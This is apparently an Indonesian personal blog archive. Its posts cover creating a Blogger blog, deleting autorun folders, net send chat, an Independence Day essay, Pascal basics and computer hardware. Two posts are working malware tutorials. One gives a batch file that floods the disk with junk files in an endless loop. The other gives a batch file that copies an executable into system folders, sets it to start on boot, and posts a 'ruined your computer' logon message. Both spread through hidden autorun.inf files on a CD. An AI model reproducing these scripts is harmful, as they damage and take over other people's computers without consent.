Maret 12, 2011

Cara Buat Blog

· 0 komentar

Langkah 1: Daftar Google
Daftarkan Diri Anda di Google
Lho koq? Koq di Google? Katanya mau ngajarin bikin blog di blogger.com, koq malah di Google? Tidak salah, karena untuk masuk ke blogger, Anda harus memiliki login google.com.

Silahkan kunjungi http://www.blogger.com. Anda akan mendapatkan halaman seperti pada gambar dibawah.

Jika Anda sudah memiliki login di Google, Anda tinggal login, maka Anda akan masuk ke Control Panel atau Panel Kontrol.


Oh ya, Anda bisa memilih bahasa, apakah Bahasa Indonesia atau bahasa Inggris.

Untuk kali ini saya anggap Anda belum memiliki login Google.

Klik tanda panah besar yang bertuliskan CIPTAKAN BLOG ANDA.

Sejauh ini sangat mudah dan akan terus mudah.

Halaman Pertama
Langkah 2: Daftar Blog
Lengkapi Pendaftaran Anda
Setelah Anda klik tanda panah besar yang bertuliskan CIPTAKAN BLOG ANDA, maka akan muncul formulir seperti yang ada pada gambar dibawah ini.

Proses ini akan menciptakan account Google yang dapat Anda gunakan pada layanan Google lainnya. Jika Anda sudah memiliki sebuah account Google mungkn dari Gmail, Google Groups, atau Orkut.

Satu account Google bisa digunakan untuk mengakses semua fasilitas yang disediakan oleh Google.

Jika Anda sudah memiliki accout google, Anda bisa langsung login (masuk). Untuk login ke Google, Anda harus login dengan menggunakan alamat email.

Silahkan lengkapi.

1. Alamat email yang Anda masukan harus sudah ada sebelumnya. Anda akan dikirim konfirmasi ke email tersebut. Jika Anda menggunakan email palsu atau email yang baru rencana akan dibuat, maka pendaftaran bisa gagal. Anda tidak perlu menggunakan email gmail.com. Email apa saja bisa.

2. Lengkapi data yang lainnya.

3. Tandai "Saya menerima Persyaratan dan Layanan" sebagai bukti bahwa Anda setuju. BTW Anda sudah membacanya?

Setelah lengkap, klik tanda panah yang bertuliskan lanjutkan.

Form Pendaftaran 1

Form Pendaftaran 2
Langkah 3: Membuat Blog
Memilih Nama Blog dan URL Blog
Jika Anda berhasil, Anda akan dibawa ke halaman seperti pada gambar dibawah. Jika gagal? Gagal biasanya karena verifikasi kata Anda salah. Itu wajar karena sering kali verifikasi kata sulit dibaca. Yang sabar saja, ulangi sampai benar. Saya sendiri sampai mengulang 3X.

Setelah Anda berhasil mendaftar, Anda akan dibawa ke halaman seperti yang ada pada gambar dibawah. Sekarang Anda mulai membuat blog dengan mengisi nama dan alamat blog Anda.

Sebagai contoh, saya menamakan blog tersebut dengan nama Hasna Zahidah. Sssst, jangan curiga, Hasna adalah putri saya. Saya memilih alamat blog dengan alamat http://hasna-zahidah.blogspot.com
sebagai alaternatif, bisa juga http://hasnazahidah.blogspot.com.

Jika Anda membuat lensa dengan tujuan mempromosikan produk Anda atau produk afiliasi, maka dalam memilih nama, harus berisi nama produk atau jasa yang akan Anda tawarkan. Misalnya jika Anda ingin menjual ebook saya, Anda bisa memilih kata kunci seperti motivasi, sukses, berpikir positif, dan kata-kata kunci lainnya yang sesuai.

Anda juga bisa meneliti kata kunci yang paling banyak dicari orang (tentu harus berhubungan dengan produk yang Anda jual) di
https://adwords.google.com/select/KeywordToolExternal

Anda bisa mengecek ketersediaan alamat blog yang Anda pilih. Jika tersedia bisa Anda lanjutkan. Jika tidak tersedia, maka Anda harus kreatif mencari nama lain atau memodifikasi alamat yang sudah ada, misalnya ditambahkan abc, xzy, 101, dan bisa juga dengan menyisipkan nama Anda.

Lanjutkan dengan klik tanda panah bertuliskan LANJUTKAN.

Proses Pembuatan Blog
Langkah ke 4 Blog Template
Pilih desain yang sesuai dengan selera Anda.
Berhasil? Tentu saja berhasil, memang mudah koq. Jika berhasil, Anda akan diarahkan ke halaman seperti yang ada pada gambar dibawah.

Pilihlah tema yang sesuai dengan selera Anda. Jika tidak ada yang sesui dengan selera Anda, jangan khawatir, nanti masih banyak pilihan tema yang bisa Anda install sendiri. Sekarang pilih saja tema agar proses pembuatan blog bisa diselesaikan. Anda bisa preview tema dengan klik gambarnya.

Untuk Memilih tema Anda klik (tandai) bulatannya o seperti pada gambar dibawah. Lihat yang saya tunjuk dengan panah merah buatan saya.

Setelah itu Anda klik tanda panah yang bertuliskan LANJUTKAN

Memilih Tema
Belajar Membuat Blog Selesai
Sekarang tinggal posting, pengaturan, dan tata letak
Selamat, sekarang Anda sudah memiliki sebuah blog. Sekarang Anda sudah mulai bisa memposting pemikiran Anda di blog dan dibagi ke seluruh dunia (eh Indonesia).

Memang masih ada beberapa hal yang harus Anda lakukan, yaitu pengaturan, tata letak, penambahan eleman, dan penggantian tema jika Anda menginginkan tema yang lain. Ini untuk tingkat lanjut.

Setidaknya, Anda sudah memiliki blog dan bisa posting. Hal ini sudah cukup untuk tahap awal. Untuk mendalami masalah Blog lebih dalam, saya anjurkan Anda membaca ebook Nge-Blog Dapat Duit.

Pada ebook tersebut, bukan hanya diajarkan cara nge-blog, tetapi juga bagaimana mendapatkan uang dari blog. Saya sendiri sudah membuktikannya, saya mendapatkan uang dari ngeblog. Jangan heran kalau saya rajin ngeblog.
Lensa Lainnya
Berikut adalah panduan lainnya yang akan mendukung Anda dalam kegiatan ngeblog. Ngblog perlu kreativitas, oleh karena itu tingkatkan kreativitas Anda. Silahkan baca pada lensa dibawah ini. Ngeblog jelas memerlukan kemampuan menulis? Saya sertakan juga lensa tentang cara menulis. Dan yang terpenting, blog harus dipromosikan supaya banyak pengunjung. Caranya ada pada link dibawah.

featured lens Cara Berpikir Kreatif

Merupakan sebuah kenyataan bahwa upaya kreatif berkaitan dengan antusiasme dan gairah dan dikenal sebagai faktor substantial pada tingkat puncak kinerja. Lensa ini akan menunjukan bagaimana cara kita meningkatkan kreativitas. Jangan sampai Anda hany...

featured lens Cara Menulis

Menulis itu ekspresi diri, menulis itu menyenangkan, menulis itu bisa menghasilkan uang, dan menulis adalah bagian dari kehidupan kita. Namun sayang, masih banyak orang yang menganggap bahwa menulis itu sulit. Lensa ini akan menunjukan kepada Anda ba...

featured lens Promosi Blog

Apakah Anda sudah punya blog? Lalu bagaimana? Tergantung tujuan Anda, jika tujuan Anda membuat blog hanya untuk mencurahkan isi hati dan pikiran tanpa perlu diketahui oleh orang lain, maka sudah punya blog Anda tinggal menggunakannya untuk menulis.

Read More......

September 21, 2010

Cara Menghapus Folder Autorun.inf dan Recycler

· 0 komentar

Kalian tau kan Folder AUTORAN.INF dan RECYCLER Folder tersebut sering kali kita jumpai di flashdisk dan di hardisk, folder tesebut gak bias di hapus dengan cara manual.
Nah saya akan member tau caranya gimana, begini caranya :

Perhatikan folder autorun.in ini



Buka
Command Prompt : Klik Run dan ketik cmd
Pada kota cmd ketik RD / S / Q \\.\ Nama Drive\Nama folder
Disini saya mengetik RD / S / Q \\.\E:\autorun.in



Lihat folder autorun.in sudah hilang……..cara diatas juga digunakan untuk menghapus folder recycler,anda tinggal merubah nama foldernya menjadi recycler seperti : RD / S / Q \\.\E:\RECYCLER

Read More......

Chatting melalui DOS pada Jaringan

· 0 komentar

Kemarin aku menerima SMS dari teman yang menanyakan kepada aku, bagaimana cara Chating lewat DOS? Jadi ku langsung jawab aja kalau dia ingin melakukan chating dalam suatu jaringan dan masih dalam lingkungan windows coba aja net send! Pertanyaan sekarang bagaimana mengaktifkannya? Nah sekarang aku akan membahasnya melalui artikel “Chating DOS with Net Send” :

1. Masuk di Start → All Program → Run lalu kamu masuk pada service windows dengan mengetikan perintah services.msc.


2. Sekarang klik 2 kali service yang bernama Messenger.


3. Pada Messenger Properties kamu harus berada pada tab General lalu Startup type: dalam
posisi Manual dan Service Status: dalam keadaan Started dengan mengklik tombol Start. Bila ingin mengaktifkan service Messenger secara otomatis pada saat komputer dihidupkan set Startup type: dalam posisi Automatic.



4. Ulangi langkah 1 -3 seperti diatas pada komputer lainnya. Maksudnya adalah untuk mengaktifkan Service Messenger Windows pada setiap komputer dalam jaringan.


5. Masuk di Start → All Program → Accessories → Command Prompt lalu ketikan perintah net send seperti gambar dibawah ini:


6. Bila sukses maka akan tampil pesan yang telah dikirimkan tadi pada komputer tujuan yang bernama Yuscom seperti dibawah ini.


7. Selanjutnya terserah kamu untuk mengirimkan pesan apa yang ingin dikirimkan kepada teman.

Read More......

Agustus 11, 2010

Semangat Berkibar 17 agustus kembali berkibar

· 0 komentar


Suasana heroik kembali tercium di sekeliling kita. Sosok pahlawan seperti terpampang jelas dalam layar memori kita. Betapa untuk merebut dan mempertahankan kemerdekaan butuh pengorbanan; air mata dan darah. Sudah tak terhitung roh para pendahulu negeri yang telah bersemayam dalam pundi-pundi sejarah keabadian. Seolah-olah hanya setahun sekali, roh mereka kembali kita hadirkan, untuk memberikan sugesti dan membangkitkan etos kebangsaan di tengah tumpukan persoalan yang multikompleks dan super-rumit. Padahal, sejatinya pahlawan tak pernah mati. Roh mereka akan selalu hadir di setiap ranah ruang dan waktu. Terlepas dari kompleks dan rumitnya persoalan-persoalan kebangsaan, agaknya memang kita masih butuh mewujudkan nilai-nilai nasionalisme dan patriotisme itu secara fisik. Selama ini memang kita masih lebih suka menilai sesuatu dari tampilan fisik daripada esensi dan substansinya. Selama ini memang kita cenderung masih percaya hal-hal yang bersifat lahiriah ketimbang rohaniah. Ketika Agustus hadir, kita memang masih membutuhkan simbol-simbol lahiriah. Kita masih sangat merindukan Sang Saka Merah Putih dan umbul warna-warni semarak berkibar di setiap sudut jalan yang kita lalui. Kita masih butuh upacara-upacara, pawai dan karnaval, malam tasyakuran alias tirakatan, lomba-lomba dan pertandingan, bahkan kita juga masih sangat membutuhkan spanduk, slogan, dan semboyan.

Setiap Agustus bangsa Indonesia selalu merasakan gaung kemerdekaan RI. Semarak kemerdekaan RI ke 65 kali jatuh pada bulan Ramadhan 1431 Hijriyah, tetap diserukan di seluruh pelosok tanah air untuk berpartisipasi memeriahkan HUT kemerdekaan RI. Walaupun tanggal 17 Agustus 2010 umat muslim sedang melaksanakan ibadah puasa, namun tidak menghambat untuk tetap menyemarakkan HUT kemerdekaan RI. Begitu pula dengan Bantul, yang tetap bersemangat memeriahkan hri kemerdekaan RI. Tema peringatan HUT Proklamasi Kemerdekaan ke 65 RI tahun ini adalah Dengan Semangat Proklamasi 17 Agustus 1945, Kita Sukseskan Reformasi Gelombang Kedua, Untuk Terwujudnya Kehidupan Berbangsa Yang Makin Sejahtera, Makin Demokratis Dan Berkeadilan.

Peringatan HUT RI diawali dengan acara Malam Tirakatan yang dilaksanakan tanggal 16 Agustus 2010 pukul 20.00 WIB. Upacara peringatan detik-detik proklamasi dilaksanakan pada hari Selasa 17 Agustus 2010 mulai pukul 07.30 WIB. Selanjutnya pada sore harinya dilaksanakan upacara penurunan bendera. Acara-acara yang berbentuk hiburan untuk menyemarakkan HUT RI dilaksanakan sesuai dengan tema HUT RI ke 65, dan waktu pelaksanaannya sesuai kondisi wilayah masing-masing. Kabupaten Bantul melaksanakan acara pawai dan karnaval untuk memeriahkan HUT RI pada tanggal 07-08 Agustus 2010. Acara pawai dilaksanakan sebelum puasa agar tidak memberatkan peserta yang melakukan ibadah puasa. Untuk itu diharapkan bagi warga Bantul berpartisipasi menyemarakkan HUT RI dengan hadir dan menyaksikan lomba pawai dan drum band yang diikuti ratusan peserta.

Read More......

Juli 08, 2010

Contoh Virus

· 0 komentar

Halo,
Ketemu lagi Dengan saya,Sekarang saya akan mengajari Anda Cara Membuat Virus Batch,
Silahkan Buka Notepad

Copy COde Dibawah ini
C:
cd
mkdir\Alert\Warning\Dangers\We_r_watching_u\Boultrack
@echo off
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo ============= ADI love wiwik ==============
echo ============= Ngorok Team ==============
echo ============= SOlo,11 Mei 2008 ==============
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Pause>null
:xyz
echo>>A.reg
echo>>b.chm
echo>>c.dll
echo>>d.htt
cls
goto xyz

lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

Read More......

Bahasa Pemograman Pascal

· 0 komentar

Bahasa pascal adalah bahasa pemrograman tingkat tinggi yang dikembangkan oleh Niklaus Wirth di Zurich pada akhir 1960-an hingga awal 1970-an. Pascal merupakan bahasa pemrograman yang terstruktur, sehingga sering digunakan sebagai sarana awal untuk mempelajari

teknik pemrograman komputer.
1 Reserved Word (Kata Tercadang) Bahasa Pascal
Reserved Word adalah kata-kata yang sudah didefinisikan pada Pascal dan mempunyai arti tertentu. Kata-kata tersebut tidak boleh digunakan sebagai identifier (Pengenal).
Contoh : Program, Begin, End, If, For, While, Repeat, Write, Read.
2 Skema dari program pascal
Skema dari program Pascal adalah sebagai berikut.
Program nama_program;
[ Deklarasi label ]
[ Deklarasi konstanta ]
[ Deklarasi tipe ]
[ Deklarasi variabel ]
[ Deklarasi subprogram ]
Begin
Pernyataan;
….
Pernyataan;
End.
3 Deklarasi Prosedur dan Fungsi
Deklarasi Prosedur (Procedure) dan Fungsi ( Function) digunakan apabila program memiliki subprogram (bagian program) yg diletakkan terpisah dalam blok sendiri.
3.1 Prosedur
Prosedur adalah subprogram yang menerima masukan tetapi tidak mempunyai keluaran secara langsung. Cara mendeklarasikan sebuah prosedur adalah sebagai berikut :
procedure A; { nama prosedur adalah A }
begin
{ statement }
end;
Pendeklarasian prosedur di atas adalah untuk prosedur yang tidak memerlukan parameter. Parameter adalah data masukan untuk subprogram yang nantinya akan diproses lebih lanjut dalam subprogram tersebut. Dalam Pascal, dikenal dua macam parameter yaitu :
1) Parameter nilai (value parameter), dan
2) Parameter referensi (reference parameter).
Cara mendeklarasikan parameter tersebut adalah sebagai berikut :
procedure B(X : integer; var Y : integer);
begin
{ statement }
end;
3.2 Fungsi
Fungsi adalah subprogram yang menerima masukan dan mempunyai keluaran secara langsung. Cara mendeklarasikan sebuah fungsi adalah sebagai berikut :
function A : integer; { nama fungsi adalah A dengan }
begin { tipe data keluaran adalah integer }
{ statement }
A := 3; { nilai yang dikeluarkan fungsi }
end;
Sebagaimana dalam prosedur, fungsi juga dapat diberikan parameter. Cara mendeklarasikan fungsi dengan parameter juga tidak jauh berbeda dengan pendeklarasian parameter pada prosedur.
function B(X : integer) : integer;
begin
{ statement }
B := X * 2;
end;
3.4 Rekursi
Dalam Pascal, ada satu kelebihan dalam cara pemanggilan subprogram. Pascal mengijinkan pemanggilan suatu subprogram dari dalam subprogram itu sendiri. Tidak semua bahasa pemrograman mengijinkan cara pemanggilan subprogram seperti itu karena akan banyak memakan memori. Untuk lebih jelasnya perhatikan potongan program di bawah ini:
procedure Z;
begin
{ statement }
Z;
end
4. Tipe Data
Dalam bahasa Pascal, secara garis besar dikenal dua macam tipe data yaitu tipe data sederhana (primitive type) dan tipe data kompleks (complex type). Tipe data sederhana adalah tipe data yang hanya mampu menyimpan satu nilai tiap satu variabelnya. Contoh tipe data sederhana adalah tipe numerik (integer dan real), tipe data karakter, tipe data boolean dan tipe data ennumerasi. Tipe data kompleks adalah tipe data yang mampu menyimpan lebih dari satu nilai dalam tiap satu variabelnya. Contoh tipe data kompleks adalah string, array (larik), record dan object.
Bentuk umum dari deklarasi tipe data adalah
Type pengenal = tipe
Keterangan:
pengenal : nama pengenal yang menyatakan tipe data.
tipe : tipe data yang berlaku dalam Turbo Pascal.
4.1 Tipe Data Sederhana
4.1.1 Tipe Ordinal
Semua tipe sederhana disebut tipe ordinal kecuali real. Karakteristik tipe data ordinal antara lain :
- Semua kemungkinan nilai dari suatu tipe ordinal merupakan himpunan berurutan dan setiap nilai berkaitan dengan ordinalitasnya yaitu nilai integral.
- Fungsi standard ord dapat diterapkan pada sembarang tipe ordinal untuk mengetahui ordinalitasnya.
- Fungsi standard pred dapat diterapkan untuk mengetahui predesesor.
- Fungsi standard succ dapat diterapkan untuk mengetahui suksesor.
4.1.2 Tipe Integer
Tipe integer adalah tipe data yang nilainya tidak mempunyai titik desimal. Ada lima tipe data yang termasuk dalam kelompok ini seperti terlihat pada tabel di bawah ini.
Tabel 2.1 Tipe integer
Tipe Batas Nilai Ukuran dalam byte

byte 0..255 1
shortint -128..127 1
integer -32768..32767 2
word 0..65535 2
longint -2147483648..2147483647 4
Tipe data juga menentuka operasi yang bisa dikerjakan. Pada tipe integer operator-operator yang bisa dikerjakan antara lain:
Tabel 2.2 Operator-operator pada tipe integer
Operator Kegunaan
+ Penjumlahan
- Pengurangan
* Perkalian
div Pembagian
mod Sisa pembagian
4.1.3 Tipe Boolean
Data tipe boolean mempunyai dua nilai yakni benar dan salah. Dengan memakai operator and, or atau not maka dapat dibentuk ungkapan boolean yang lebih rumit.
4.1.4 Tipe Char
Tipe char digunakan untuk mendefinisikan tipe data yang nilainya merupakan himpunan karakter yang dikenal komputer seperti yang tersaji dalam tabel ASCII. Dalam program, konstanta bertipe char ditulis diantara tanda petik, misalnya ‘A’ . Perlu diingat bahwa data bertipe char hanya terdiri dari 1 karakter.
4.1.5 Tipe Terbilang
Disebut tipe terbilang karena semua nilai disebut satu persatu, contoh
Type Toko = (baru, ramai, sukses, rapi, gadjah)
Perlu diperhatikan bahwa dalam tipe terbilang semua data harus diletakkan di antara kurung, urutan datanya harus diperhatikan karena akan mempengaruhi fungsi pred dan succ.
4.1.6 Tipe Subjangkauan
Tidak jarang terjadi batas nilai yang mungkin untuk suatu perubah merupakan bagian atau subjangkauan dari tipe data yang telah didefinisikan, contoh nilai ujian adalah dari 0 sampai 100.
type Nilai = 0..100;
4.1.7 Tipe Real
Konstanta bertipe real adalah bilangan yang berisi titik desimal. Dalam Pascal paling sedikit harus ada satu digit sebelum dan sesudah titik desimal, tidak boleh ada koma dan nilainya bisa positif atau negatif.
Dalam Turbo Pascal terdapat lima macam tipe real yaitu real, single, double, extended dan comp seperti terlihat pada tabel di bawah ini.

Tipe Batasan Nilai Angka Signifikan Ukuran dalam byte
real 2.9 x 10E-39..1.7 x 10E38 11-12 6
single 1.5 x 10E-45..3.4 x 10e38 7-8 4
double 5.0 x 10E-324..1.7 x 10E308 15-16 8
extended 1.9 x 10E-4951..1.1 x 10E4932 19-20 10
comp -2E63 + 1..2E63 – 1 19-20 8
Operator-operator pada tipe real adalah :

Operator Kegunaan
+ Penjumlahan
- Pengurangan
* Perkalian
/ Pembagian
4.2.2 Tipe Data Kompleks
4.2.2.1 Tipe String
Data yang bertipe string adalah data yang berisi sederetan karakter yang banyaknya karakter bisa berubah-ubah sesuai kebutuhan yaitu dari 1 sampai 255 karakter.
Bentuk umum dari deklarasi tipe string adalah:
type pengenal = string <[panjang]>
Keterangan:
pengenal : nama tipe data.
panjang : bilangan bulat yang menentukan banyaknya karakter, bila parameter panjang karakter tidak ditulis maka dianggap 255 karakter.
4.2.2.2 Tipe Larik
Larik (array) adalah tipe terstruktur yang mempunyai komponen dalam jumlah yang tetap dan setiap komponen mempunyai tipe data yang sama. Posisi masing-masing komponen dalam larik dinyatakan sebagai nomor indeks.
Bentuk umum dari tipe larik adalah
type pengenal = array [tipe_index] of tipe;
pengenal : nama tipe data.
tipe_index : tipe data untuk nomor index.
tipe : tipe data komponen.
Contoh,
type Vek = array [1..100] of integer;
4.2.2.3 Tipe Rekaman
Sama halnya dengan larik, rekaman (record) adalah kumpulan data. Perbedaan antara larik dengan rekaman adalah dalam larik semua elemennya harus bertipe sama tetapi dalam rekaman setiap elemen bisa mempunyai tipe data yang berbeda satu sama lainnya.
Bentuk umum deklarasi rekaman adalah
type pengenal = record
medan1 :tipe1;
medan2 :tipe2;
.
.
.
medann :tipen;
end;
Keterangan:
pengenal : pengenal yang menunjukkan tipe data yang akan dideklarasikan.
medan1,…, medann : nama medan yang akan digunakan.
tipe1,…, tipen : sembarang tipe data yang telah dideklarasikan sebelumnya.
Contoh deklarasi rekaman,
type Tgl_Kalender = record
Tanggal :1..31;
Bulan : 1..12;
Tahun : 1900..2000;
end;
4.2.2.4 Tipe Himpunan
Tipe himpunan adalah kumpulan obyek yang mempunyai tipe data yang sama dan urutan penulisannya tidak diperhatikan.Setiap onyek di dalam suatu himpunan disebut dengan anggota atau elemen himpunan
Bentuk umum deklarasi himpunan adalah
type pengenal = set of tipe_data;
atau dapat juga langsung dideklarasikan dalam bagian deklarasi perubah seperti berikut
var pengenal = set of tipe_data;
Keterangan:
pengenal : nama perubah atau pengenal yang akan dinyatakan sebagai tipe himpunan.
tipe_data : tipe data dari anggota himpunan, harus bertipe ordinal.
Contoh deklarasi himpunan adalah sebagai berikut.
type Irama = (jazz, rock, blues, country, classic);
Musik = set of Irama;
Nilai = set of 0..10;
Untai = set of char;
Huruf = set of ‘A’..’Z’;
Sakit = (pusing, mual, lemas, lesu, letih);
Penyakit = set of sakit;
4.2.2.5 Tipe Berkas
Berkas (file) adalah kumpulan sejumlah komponen yang bertipe data sama yang jumlahnya tidak tentu dan biasanya tersimpan dalam suatu media penyimpan luar. Jumlah komponen dalam berkas dapat ditambah jika diperlukan.
Dalam Pascal, berkas menyediakan data yang nantinya akan digunakan oleh suatu program. Berkas dapat berupa berkas yang disimpan di dalam cakram magnetis, pita magnetis, kartu plong dan sejenisnya atau berupa piranti logika yang selama ini kita gunakan, yaitu dengan statemen input dan output, yang menunjukkan piranti masukan keluaran standar (papan ketik dan layar tampilan).
Bentuk umum dari deklarasi berkas adalah
type pengenal = file of pengenal1;
Keterangan:
pengenal : pengenal yang akan dinyatakan sebagai tipe data berkas.
pengenal1 : tipe data komponen berkas

Read More......

Cara Buat Virus Sederhana Dari Notepad

· 0 komentar

Ini virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )
ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…
note: “HANYA BEKERJA PADA WINDOWS XP”
caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:
@echo

off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f
- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya
note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….

Read More......

Komponen Komputer

· 0 komentar


Bagi Anda yang masih awan tentang komponen-kompinen atau bagian-bagian dari komputer apa saja, mungkin tulisan berikut dapat membantu Anda. Secara garis besar 2 hal yang sangat mempengaruhi sebuah komputer adalah hardware dan software. Jika kita membahas tentang komponen komputer maka secara otomatis kita akan membicarakan mengenai hardware. Hardware sendiri secara garis besar terbagi atas 3 hal yaitu:
1. Bagian input
2. Peralatan pemrosesan
3. Bagian output
Sekarang akan dibahas hal


diatas satu per satu!
1. Bagian Input
Untuk bagian, komponen-komponen komputer umum yang harus kita ketahui adalah:
A. Keyboard
Keyboard adalah suatu alat yang biasanya diletakkan di depan layar komputer dan fungsinya sebagai penginputan data dari luar dengan cara diketikkan pada keyboard. Saya yakin sebagian besar dari Anda pasti mengetahui komponen ini. Keyboard biasanya menyerupai mesin ketik manual (untuk susunan peletakkan hurufnya). Saat ini dipasaran telah beredar keyboard dengan mengadopsi sitem wireless. Dan biasanya harganya lebih mahal jika dibandingkan dengan keyboard biasa. Jenis-jenis keyboard di pasaran saat ini untuk informasi lebih detailnya adalah: Serial, PS/2, USB dan wireless. Kemudian beberapa merek keyboard yang ada dipasaran antara lain yaitu: Logitech (biasanya harganya paling muahal untuk pasar di Indonesia), Accer,Komic dan masih banyak lagi.
B. Mouse
Saya secara pribadi pernah melihat seorang teman yang dengan lancar memainkan komputer hanya dengan menggunakan keyboard tanpa membutuhkan sebuah mouse. Tapi jika Anda manusia normal, dan tidak ingin capek menghafalkan tombol rahasia di keyboard yang dapat digunakan sebagai mouse, maka nampaknya wajib komputer Anda harus memilki sebuah mouse.
Mouse sendiri berfungi untuk mengarahkan pointer pada layar monitor komputer Anda. Dengan keberadaan mouse maka akan memudahkan kita untuk mengatur posisi pointer sesuai dengan keinginan kita dengan cepat. Ciri-ciri sebuah mouse yang bagus adalah memiliki sensitifitas yang amat tinggi dan tidak memerlukan perawatan yang rumit (biasnya mouse optic dan wireless yang memiliki persyaratan ini, jangan menggunakan mouse manual yang harus rutin dibersihkan untuk menghilangkan debu). Merek mouse yang sangat saya sukai adalah Logitech (karena awet, handal, sensitifnya bagus, dan memiliki pergeseran yang bagus, tapi agak sedikit lebih mahal sedikit dari segi harga).
C. Floppy Disk Drive
Merupakan suatu hardware yang menghubungkan disket dengan komputer, Jadi Anda hendak melakukan pemindahan data dari komputer satu dengan yang lain dengan menggunakan disket, maka disinilah sebaiknya Anda masukkan disketnya. Tapi untuk zaman sekarang pemakaian disket terkikis oleh perkembangan teknologi komputer. Karena ukuran disket hampir sebesar CD dan hanya dapat menyimpan memori yang lebih kecil, maka diskiet sudah ditinggalkan oleh sebagian besar penggunanya. Saat ini alat yang lebih ngetren adalah dengan menggunakan flashdisk.
D. Scanner
Menurut saya ini adalah alat yang sangat jarang digunakan oleh orang, begitu juga untuk pemiliknya (jarang ada orang yang memiliki komputer dan juga punya mesin scanner, ya…. Seperti saya ini toh….). Oleh karena itu tidak heran jika sekali menggunakan jasa alat ini dirental maka Anda akan dikenakan biaya yang cukup lumayan mahal, yaitu kurang lebih Rp 1000,00 per scan. Untuk saat ini kebanyakan ditemukan scanner dengan port penghubungnya ke komputer menggunakan model USB.
E. Piranti Optik
Bagi Anda yang gemar menonton paket hemat (tidak mau pergi ke bioskop, tapi cukup beli film-nya “di perparah dengan film bajakan”) maka alat ini wajib ada di komputer Anda. Berikut beberapa type optic komputer yang dapat disesuaikan dengan kebutuhan Anda:
(1). CD ROM, adalah alat optic membaca inputan dari CD. Kekurangan dari alat ini adalah tidak dapat me-rewrite di CD (memasukkan data ke CD).
(2). CD RW, adalah alat optic yang dapat berfungsi membaca dan me-rewrite file CD. Dengan alat ini maka Anda dapat membuat CD dengan memasukkan file ke dalamnya.
(3). Optik DVD, adalah alat yang fungsinya hampir sama dengan CR ROM, bedanya jika CD ROM untuk CD maka Optik DVD untuk membaca DVD dan CD.
(4). DVD RW (DVD COMBO), bisa digunakan untuk semua jenis aplikasi yang berhubungan dengan optic baik digunakan untuk CD maupun DVD.
F. Piranti Proses
Pada bagian ini umumnya peralatan yang membuat kenapa komputer harganya mahal. Pada bagian pusat proses dinamakan CPU (Central Prosesing Unit) yang merupakan unit proses utama dan terpenting dalam komputer yang mengendalikan seluruh proses pengolahan data mulai dari membaca data dari peralatan input, mengolah atau memproses sampai pada mengeluarkan informasi (Output) ke peralatan Output.
Beberapa peralatan penting yang ada dalam CPU antara lain adalah:
• Memory (lebih familiar di telinga dengan RAM)
